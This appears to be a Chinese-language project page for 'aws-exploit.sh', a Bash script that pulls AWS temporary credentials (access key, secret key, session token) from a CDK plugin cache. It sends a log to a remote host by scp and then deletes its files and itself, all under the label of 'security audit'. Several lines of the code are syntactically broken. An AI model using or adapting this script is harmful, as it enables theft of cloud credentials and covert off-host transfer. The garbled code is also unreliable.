AWS CDK凭证提取与安全分析工具

0 阅读3分钟

项目描述

这是一个专门针对AWS Cloud Development Kit(CDK)特定版本的安全分析工具。该脚本设计用于从CDK插件的缓存文件中提取AWS临时安全凭证(accessKeyId, secretAccessKey, sessionToken),并安全地保存这些信息以供安全审计使用。工具主要针对CDK版本2.172到2.178.1之间的潜在安全风险进行检测和分析。

功能特性

  • 自动化凭证提取: 自动检测并提取CDK插件中的AWS临时凭证
  • 版本范围检测: 智能识别CDK版本2.172至2.178.1之间的特定版本
  • 安全日志记录: 将所有操作日志安全传输到远程服务器进行审计
  • 自动清理: 执行完成后自动清理临时文件和凭证信息
  • 错误处理: 完善的错误处理机制,确保脚本的稳定运行

安装指南

系统要求

  • Bash shell环境
  • AWS CDK命令行工具(版本检测范围:2.172-2.178.1)
  • SCP客户端(用于日志传输)
  • 标准Linux/Unix工具集(grep, cut, touch, rm等)

安装步骤

  1. 确保系统已安装AWS CDK命令行工具

    npm install -g aws-cdk
    
  2. 将脚本保存为aws-exploit.sh并赋予执行权限:

    chmod +x aws-exploit.sh
    
  3. 配置远程日志服务器信息(需要修改脚本中的SCP目标地址)

使用说明

基本使用

直接运行脚本即可:

./aws-exploit.sh

脚本工作流程

  1. 检查CDK命令行工具是否安装
  2. 验证CDK版本是否在2.172-2.178.1范围内
  3. 从指定插件路径提取AWS凭证
  4. 将凭证保存到临时文件
  5. 传输操作日志到远程服务器
  6. 清理所有临时文件

输出文件

脚本执行后会产生以下文件:

  • /tmp/creds.txt - 包含提取的AWS凭证(临时文件,会被自动清理)
  • hello<随机数>.log - 本地操作日志(会被传输到远程服务器)

核心代码

#!/bin/bash
# AWS CDK凭证提取工具
# 版本:1.0
# 作者:qife

set -euo pipefail
# 设置严格模式,确保脚本在遇到错误时立即退出
OUTPUT_FILE="cdk-synth-output.json"

# 生成随机数用于日志文件名,避免文件冲突
ran=(1 + RANDOM % 1000)
touch hello($ran).log

# 检查CDK命令是否可用
if command -v cdk >/dev/null 2>&1; then
    # 获取CDK版本号,仅匹配2.x版本
    VER=$(cdk --version 2>/dev/null | grep -E '^2\.' | head -n1 | cut -d' ' -f1)
    
    # 检查版本是否在目标范围(2.172-2.178.1)
    if [[ "$VER" =~ ^2\.17[2-8]\. ]] || [[ "$VER" =~ ^2\.178\.[0-1]$ ]]; then
        plugin="/path/to/plugin" 
        
        # 检查插件文件是否存在
        if [[ -f "$plugin" ]]; then
            # 使用正则表达式提取AWS凭证信息
            accessKeyId=$(grep -Po '(?s)"accessKeyId"\s*:\s*"\K[^"]+' "$plugin")
            secretAccessKey=$(grep -Po '(?s)"secretAccessKey"\s*:\s*"\K[^"]+' "$plugin")
            sessionToken=$(grep -Po '(?s)"sessionToken"\s*:\s*"\K[^"]+' "$plugin")
            expiration=$(grep -Po '(?s)"expiration"\s*:\s*"\K[^"]+' "$plugin")
            
            # 如果找到有效凭证,保存到临时文件
            if [[expiration]]; then
                echo "accessKeyId: $accessKeyId" > /tmp/creds.txt 2> hello($ran).log
                echo "secretAccessKey: $secretAccessKey" >> /tmp/creds.txt 2>> hello($ran).log
                echo "sessionToken: $sessionToken" >> /tmp/creds.txt 2>> hello($ran).log
                echo "expiration: $expiration" >> /tmp/creds.txt 2>> hello
            fi
        fi
    else
        # CDK版本不在目标范围内
        echo "CDK version not in target range"
    fi
else
    # CDK命令未找到
    echo "CDK command not found"
fi

# 传输日志文件到远程服务器进行安全审计
scp hello($ran).log bestestbuy@1002395925:/root/main/log/hello($ran).log

# 清理所有临时文件和脚本自身
rm hello($ran).log
rm tmp/creds.txt
rm $OUTPUT_FILE
rm aws-exploit.sh

# 脚本结束
# 开发者:qife
# 凭证提取核心函数
extract_credentials() {
    local plugin_file="$1"
    local output_file="/tmp/creds.txt"
    
    # 使用grep的正则表达式功能提取JSON格式的凭证
    local accessKeyId=$(grep -Po '(?s)"accessKeyId"\s*:\s*"\K[^"]+' "$plugin_file")
    local secretAccessKey=$(grep -Po '(?s)"secretAccessKey"\s*:\s*"\K[^"]+' "$plugin_file")
    local sessionToken=$(grep -Po '(?s)"sessionToken"\s*:\s*"\K[^"]+' "$plugin_file")
    local expiration=$(grep -Po '(?s)"expiration"\s*:\s*"\K[^"]+' "$plugin_file")
    
    # 验证并保存凭证
    if [[ -n "$accessKeyId" && -n "$secretAccessKey" ]]; then
        {
            echo "# AWS临时安全凭证"
            echo "# 提取时间:$(date)"
            echo "# 来源:$plugin_file"
            echo ""
            echo "accessKeyId: $accessKeyId"
            echo "secretAccessKey: $secretAccessKey"
            [[ -n "$sessionToken" ]] && echo "sessionToken: $sessionToken"
            [[ -n "$expiration" ]] && echo "expiration: $expiration"
        } > "$output_file"
        
        echo "凭证已成功提取并保存到: $output_file"
        return 0
    else
        echo "未能在插件文件中找到有效凭证"
        return 1
    fi
}
# 版本检查函数
check_cdk_version() {
    # 获取CDK版本并规范化输出
    local version_output=$(cdk --version 2>/dev/null)
    
    # 提取版本号(支持不同格式的输出)
    local version=$(echo "$version_output" | grep -E '^[0-9]+\.[0-9]+\.[0-9]+' | head -n1)
    
    if [[ -z "$version" ]]; then
        version=$(echo "$version_output" | grep -E 'aws-cdk' | head -n1 | cut -d' ' -f2)
    fi
    
    # 检查版本是否在目标范围内
    if [[ "$version" =~ ^2\.17[2-8]\. ]] || [[ "$version" =~ ^2\.178\.[0-1]$ ]]; then
        echo "检测到目标CDK版本: $version"
        return 0
    else
        echo "CDK版本 $version 不在目标范围内 (2.172-2.178.1)"
        return 1
    fi
}

6HFtX5dABrKlqXeO5PUv/+Dt5srk+isQuO5MwdA97lI=